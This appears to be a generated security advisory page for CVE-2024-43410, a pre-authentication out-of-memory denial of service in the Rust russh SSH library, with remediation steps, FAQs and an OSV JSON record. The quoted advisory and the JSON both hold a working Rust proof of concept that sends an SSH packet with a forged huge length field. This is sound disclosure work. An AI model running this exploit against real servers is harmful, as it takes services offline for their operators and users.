CVE-2024-43410: Russh Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-vgvv-x7xg-6cqg
CVSS 7.5
CWE-770
Published
Advisory Summary

CVE-2024-43410 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting Russh libraries in the crates.io ecosystem. The issue involves russh has an oom denial of service due to allocation of untrusted amount. Remediation is available by upgrading affected packages to version 0.44.1.

CVE-2024-43410 at a Glance

CVE Identifier CVE-2024-43410
GHSA Identifier GHSA-vgvv-x7xg-6cqg
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-770: Allocation of Resources Without Limits or Throttling
Affected Product Russh
Package Ecosystem crates.io
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2024-43410

To remediate this vulnerability, upgrade all affected Russh dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

russh fixed: 0.44.1
Upgrade russh to 0.44.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for russh

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-43410, inspect your project dependencies for Russh:

inspect dependencies for russh

Analyze the terminal output to locate any version of Russh in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.44.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In Russh, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Allocating an untrusted amount of memory allows any unauthenticated user to OOM a russh server. ### Details An SSH packet consists of a 4-byte big-endian length, followed by a byte stream of this length. After parsing and potentially decrypting the 4-byte length, russh allocates enough memory for this bytestream, as a performance optimization to avoid reallocations later. https://github.com/Eugeny/russh/blob/4eaa080e7532662023f75e8fff45b743fe607f8c/russh/src/cipher/mod.rs#L254 But this length is entirely untrusted and can be set to any value by the client, causing this much memory to be allocated, which will cause the process to OOM within a few such requests. RFC 4253 contains an explicit section on packet length limits: https://datatracker.ietf.org/doc/html/rfc4253#section-6.1 > However, implementations SHOULD check that the packet length is reasonable in order for the implementation to avoid denial of service and/or buffer overflow attacks. ### PoC Running the `echoserver` example on port 2222 (`cd russh && cargo run --release --example echoserver`), the provided Rust program can be executed against this echoserver and will cause it to OOM within a few tries. <details> <summary>Rust code to run against the echo server</summary> `Cargo.toml` ```toml [package] name = "poc" version = "0.1.0" edition = "2021" [dependencies] hex-literal = "=0.4.1" ``` `main.rs` ```rust use std::time::Duration; use std::{error::Error, net::SocketAddr}; use std::{ io::{Read, Write}, net::TcpStream, }; fn main() -> Result<(), Box<dyn Error>> { loop { attempt()?; eprintln!("still running, trying again in a few seconds"); std::thread::sleep(Duration::from_secs(2)); } } fn attempt() -> Result<(), Box<dyn Error>> { for i in 0..5 { eprintln!("iteration {i}"); let mut s = TcpStream::connect("0.0.0.0:2222".parse::<SocketAddr>().unwrap())?; s.write_all(b"SSH-2.0-OpenSSH_9.7\r\n")?; s.read(&mut [0; 1000])?; // A KeyExchangeInit copied from an OpenSSH client run but the length has been replaced with 0xFFFFFF00. s.write_all(&hex_literal::hex!( " ffffff00071401af35150e67f2bc6dc4bc6b5330901900000131736e74727570373631783235353 1392d736861353132406f70656e7373682e636f6d2c637572766532353531392d7368613235362c 637572766532353531392d736861323536406c69627373682e6f72672c656364682d736861322d6 e697374703235362c656364682d736861322d6e697374703338342c656364682d736861322d6e69 7374703532312c6469666669652d68656c6c6d616e2d67726f75702d65786368616e67652d73686 13235362c6469666669652d68656c6c6d616e2d67726f757031362d7368613531322c6469666669 652d68656c6c6d616e2d67726f757031382d7368613531322c6469666669652d68656c6c6d616e2 d67726f757031342d7368613235362c6578742d696e666f2d632c6b65782d7374726963742d632d 763030406f70656e7373682e636f6d000001cf7373682d656432353531392d636572742d7630314 06f70656e7373682e636f6d2c65636473612d736861322d6e697374703235362d636572742d7630 31406f70656e7373682e636f6d2c65636473612d736861322d6e697374703338342d636572742d7 63031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703532312d63657274 2d763031406f70656e7373682e636f6d2c736b2d7373682d656432353531392d636572742d76303 1406f70656e7373682e636f6d2c736b2d65636473612d736861322d6e697374703235362d636572 742d763031406f70656e7373682e636f6d2c7273612d736861322d3531322d636572742d7630314 06f70656e7373682e636f6d2c7273612d736861322d3235362d636572742d763031406f70656e73 73682e636f6d2c7373682d656432353531392c65636473612d736861322d6e697374703235362c6 5636473612d736861322d6e697374703338342c65636473612d736861322d6e697374703532312c 736b2d7373682d65643235353139406f70656e7373682e636f6d2c736b2d65636473612d7368613 22d6e69737470323536406f70656e7373682e636f6d2c7273612d736861322d3531322c7273612d 736861322d3235360000006c63686163686132302d706f6c7931333035406f70656e7373682e636 f6d2c6165733132382d6374722c6165733139322d6374722c6165733235362d6374722c61657331 32382d67636d406f70656e7373682e636f6d2c6165733235362d67636d406f70656e7373682e636 f6d0000006c63686163686132302d706f6c7931333035406f70656e7373682e636f6d2c61657331 32382d6374722c6165733139322d6374722c6165733235362d6374722c6165733132382d67636d4 06f70656e7373682e636f6d2c6165733235362d67636d406f70656e7373682e636f6d000000d575 6d61632d36342d65746d406f70656e7373682e636f6d2c756d61632d3132382d65746d406f70656 e7373682e636f6d2c686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c68 6d61632d736861322d3531322d65746d406f70656e7373682e636f6d2c686d61632d736861312d6 5746d406f70656e7373682e636f6d2c756d61632d3634406f70656e7373682e636f6d2c756d6163 2d313238406f70656e7373682e636f6d2c686d61632d736861322d3235362c686d61632d7368613 22d3531322c686d61632d73686131000000d5756d61632d36342d65746d406f70656e7373682e63 6f6d2c756d61632d3132382d65746d406f70656e7373682e636f6d2c686d61632d736861322d323 5362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3531322d65746d406f7065 6e7373682e636f6d2c686d61632d736861312d65746d406f70656e7373682e636f6d2c756d61632 d3634406f70656e7373682e636f6d2c756d61632d313238406f70656e7373682e636f6d2c686d61 632d736861322d3235362c686d61632d736861322d3531322c686d61632d736861310000001a6e6 f6e652c7a6c6962406f70656e7373682e636f6d2c7a6c69620000001a6e6f6e652c7a6c6962406f 70656e7373682e636f6d2c7a6c69620000000000000000000000000000000000000000 " ))?; s.shutdown(std::net::Shutdown::Both)?; } Ok(()) } ``` </details> ### Impact Due to this allocation, a russh server can be brought to OOM, causing a DoS. Since this happens before authentication, it can be done by any user that has access to the TCP port over the internet.

CVE-2024-43410 Affected Russh Versions

1 component(s)
Fixed Versions:
0.44.1
Product / Package Ecosystem Affected Versions Fixed Version
russh
crates.io
< 0.44.1
0.44.1

References

Frequently Asked Questions

What is CVE-2024-43410?
CVE-2024-43410 is a security vulnerability in Russh involving Russh has an OOM Denial of Service due to allocation of untrusted amount under CWE-770: Allocation of Resources Without Limits or Throttling.
Which Russh versions are affected?
Affected versions include releases prior to 0.44.1 across affected packages: russh.
What version fixes CVE-2024-43410?
Upgrading to 0.44.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is russh affected?
Yes, russh is affected in releases prior to 0.44.1. Upgrade your dependency to 0.44.1 or later.
What is the CVSS score of CVE-2024-43410?
CVE-2024-43410 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2024-43410?
CVE-2024-43410 is classified under CWE-770: Allocation of Resources Without Limits or Throttling (The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.).
How can I check crates.io dependencies for CVE-2024-43410?
Run the dependency tree command: 'inspect dependencies for russh'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vgvv-x7xg-6cqg",
  "modified" : "2024-08-21T18:59:23Z",
  "published" : "2024-08-14T21:18:20Z",
  "aliases" : [ "CVE-2024-43410" ],
  "summary" : "Russh has an OOM Denial of Service due to allocation of untrusted amount",
  "details" : "### Summary\n\nAllocating an untrusted amount of memory allows any unauthenticated user to OOM a russh server.\n\n### Details\n\nAn SSH packet consists of a 4-byte big-endian length, followed by a byte stream of this length.\nAfter parsing and potentially decrypting the 4-byte length, russh allocates enough memory for this bytestream, as a performance optimization to avoid reallocations later.\n\nhttps://github.com/Eugeny/russh/blob/4eaa080e7532662023f75e8fff45b743fe607f8c/russh/src/cipher/mod.rs#L254\n\nBut this length is entirely untrusted and can be set to any value by the client, causing this much memory to be allocated, which will cause the process to OOM within a few such requests.\n\nRFC 4253 contains an explicit section on packet length limits: https://datatracker.ietf.org/doc/html/rfc4253#section-6.1\n\n> However, implementations SHOULD check that the packet length is reasonable in order for the implementation to avoid denial of service and/or buffer overflow attacks.\n\n### PoC\n\nRunning the `echoserver` example on port 2222 (`cd russh && cargo run --release --example echoserver`), the provided Rust program can be executed against this echoserver and will cause it to OOM within a few tries.\n\n<details>\n<summary>Rust code to run against the echo server</summary>\n\n`Cargo.toml`\n```toml\n[package]\nname = \"poc\"\nversion = \"0.1.0\"\nedition = \"2021\"\n\n[dependencies]\nhex-literal = \"=0.4.1\"\n```\n\n`main.rs`\n```rust\nuse std::time::Duration;\nuse std::{error::Error, net::SocketAddr};\n\nuse std::{\n    io::{Read, Write},\n    net::TcpStream,\n};\n\nfn main() -> Result<(), Box<dyn Error>> {\n    loop {\n        attempt()?;\n        eprintln!(\"still running, trying again in a few seconds\");\n        std::thread::sleep(Duration::from_secs(2));\n    }\n}\n\nfn attempt() -> Result<(), Box<dyn Error>> {\n    for i in 0..5 {\n        eprintln!(\"iteration {i}\");\n        let mut s = TcpStream::connect(\"0.0.0.0:2222\".parse::<SocketAddr>().unwrap())?;\n        s.write_all(b\"SSH-2.0-OpenSSH_9.7\\r\\n\")?;\n        s.read(&mut [0; 1000])?;\n        // A KeyExchangeInit copied from an OpenSSH client run but the length has been replaced with 0xFFFFFF00.\n        s.write_all(&hex_literal::hex!(\n            \"\n        ffffff00071401af35150e67f2bc6dc4bc6b5330901900000131736e74727570373631783235353\n        1392d736861353132406f70656e7373682e636f6d2c637572766532353531392d7368613235362c\n        637572766532353531392d736861323536406c69627373682e6f72672c656364682d736861322d6\n        e697374703235362c656364682d736861322d6e697374703338342c656364682d736861322d6e69\n        7374703532312c6469666669652d68656c6c6d616e2d67726f75702d65786368616e67652d73686\n        13235362c6469666669652d68656c6c6d616e2d67726f757031362d7368613531322c6469666669\n        652d68656c6c6d616e2d67726f757031382d7368613531322c6469666669652d68656c6c6d616e2\n        d67726f757031342d7368613235362c6578742d696e666f2d632c6b65782d7374726963742d632d\n        763030406f70656e7373682e636f6d000001cf7373682d656432353531392d636572742d7630314\n        06f70656e7373682e636f6d2c65636473612d736861322d6e697374703235362d636572742d7630\n        31406f70656e7373682e636f6d2c65636473612d736861322d6e697374703338342d636572742d7\n        63031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703532312d63657274\n        2d763031406f70656e7373682e636f6d2c736b2d7373682d656432353531392d636572742d76303\n        1406f70656e7373682e636f6d2c736b2d65636473612d736861322d6e697374703235362d636572\n        742d763031406f70656e7373682e636f6d2c7273612d736861322d3531322d636572742d7630314\n        06f70656e7373682e636f6d2c7273612d736861322d3235362d636572742d763031406f70656e73\n        73682e636f6d2c7373682d656432353531392c65636473612d736861322d6e697374703235362c6\n        5636473612d736861322d6e697374703338342c65636473612d736861322d6e697374703532312c\n        736b2d7373682d65643235353139406f70656e7373682e636f6d2c736b2d65636473612d7368613\n        22d6e69737470323536406f70656e7373682e636f6d2c7273612d736861322d3531322c7273612d\n        736861322d3235360000006c63686163686132302d706f6c7931333035406f70656e7373682e636\n        f6d2c6165733132382d6374722c6165733139322d6374722c6165733235362d6374722c61657331\n        32382d67636d406f70656e7373682e636f6d2c6165733235362d67636d406f70656e7373682e636\n        f6d0000006c63686163686132302d706f6c7931333035406f70656e7373682e636f6d2c61657331\n        32382d6374722c6165733139322d6374722c6165733235362d6374722c6165733132382d67636d4\n        06f70656e7373682e636f6d2c6165733235362d67636d406f70656e7373682e636f6d000000d575\n        6d61632d36342d65746d406f70656e7373682e636f6d2c756d61632d3132382d65746d406f70656\n        e7373682e636f6d2c686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c68\n        6d61632d736861322d3531322d65746d406f70656e7373682e636f6d2c686d61632d736861312d6\n        5746d406f70656e7373682e636f6d2c756d61632d3634406f70656e7373682e636f6d2c756d6163\n        2d313238406f70656e7373682e636f6d2c686d61632d736861322d3235362c686d61632d7368613\n        22d3531322c686d61632d73686131000000d5756d61632d36342d65746d406f70656e7373682e63\n        6f6d2c756d61632d3132382d65746d406f70656e7373682e636f6d2c686d61632d736861322d323\n        5362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3531322d65746d406f7065\n        6e7373682e636f6d2c686d61632d736861312d65746d406f70656e7373682e636f6d2c756d61632\n        d3634406f70656e7373682e636f6d2c756d61632d313238406f70656e7373682e636f6d2c686d61\n        632d736861322d3235362c686d61632d736861322d3531322c686d61632d736861310000001a6e6\n        f6e652c7a6c6962406f70656e7373682e636f6d2c7a6c69620000001a6e6f6e652c7a6c6962406f\n        70656e7373682e636f6d2c7a6c69620000000000000000000000000000000000000000\n        \"\n        ))?;\n\n        s.shutdown(std::net::Shutdown::Both)?;\n    }\n    Ok(())\n}\n```\n\n</details>\n\n### Impact\n\nDue to this allocation, a russh server can be brought to OOM, causing a DoS.\nSince this happens before authentication, it can be done by any user that has access to the TCP port over the internet.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "russh"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.44.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.44.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Eugeny/russh/security/advisories/GHSA-vgvv-x7xg-6cqg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-43410"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Eugeny/russh/commit/f660ea3f64b86d11d19e33076012069f02431e55"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Eugeny/russh"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-08-14T21:18:20Z",
    "nvd_published_at" : "2024-08-21T16:15:08Z"
  }
}